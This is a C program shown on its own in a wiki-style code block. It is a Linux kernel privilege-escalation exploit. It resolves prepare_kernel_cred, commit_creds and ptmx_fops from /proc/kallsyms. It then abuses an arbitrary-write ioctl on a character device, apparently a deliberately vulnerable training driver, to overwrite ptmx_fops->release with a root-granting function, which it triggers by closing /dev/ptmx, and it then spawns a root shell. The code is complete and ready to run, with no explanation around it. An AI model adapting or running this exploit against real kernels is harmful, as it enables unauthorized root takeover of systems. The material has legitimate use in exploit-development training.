...
Code Block | ||||
---|---|---|---|---|
| ||||
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include "chardev.h" #define DEVICE_FILE_NAME "/dev/chardev0" void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; unsigned long *ptmx_fops_release; void *kallsym_getaddr(char *name) { FILE *fp; void *addr; char sym[512]; fp = fopen("/proc/kallsyms", "r"); while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) { if (strcmp(sym, name) == 0) { break; }else{ addr = NULL; } } fclose(fp); return addr; } void get_root() { commit_creds(prepare_kernel_cred(NULL)); } int main() { int fd; int ret_val; void *ptmx_fops; struct ioctl_www_arg arg; //Find the address of "prepare_kernel_cred()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("prepare_kernel_cred = %p\n", prepare_kernel_cred); printf("commit_creds = %p\n", commit_creds); //Find the address of "static struct file_operations ptmx_fops" ptmx_fops = kallsym_getaddr("ptmx_fops"); printf("ptmx_fops = %p\n", ptmx_fops); ptmx_fops_release = ptmx_fops + sizeof(void *) * 13; fd = open(DEVICE_FILE_NAME, 0); if (fd < 0) { printf("Can't open device file: %s\n", DEVICE_FILE_NAME); return 0; } //Overwrite the "ptmx_fops → release" area arg.ptr = ptmx_fops_release; arg.value = (unsigned long)get_root; ret_val = ioctl(fd, IOCTL_WWW, &arg); if (ret_val < 0) { printf("ioctl failed: %d\n", ret_val); return 0; } close(fd); //open /dev/ptmx and call ptmx_fops->release() via close() fd = open("/dev/ptmx", 0); close(fd); printf("getuid() = %d\n", getuid()); execl("/bin/sh", "sh", NULL); } |
...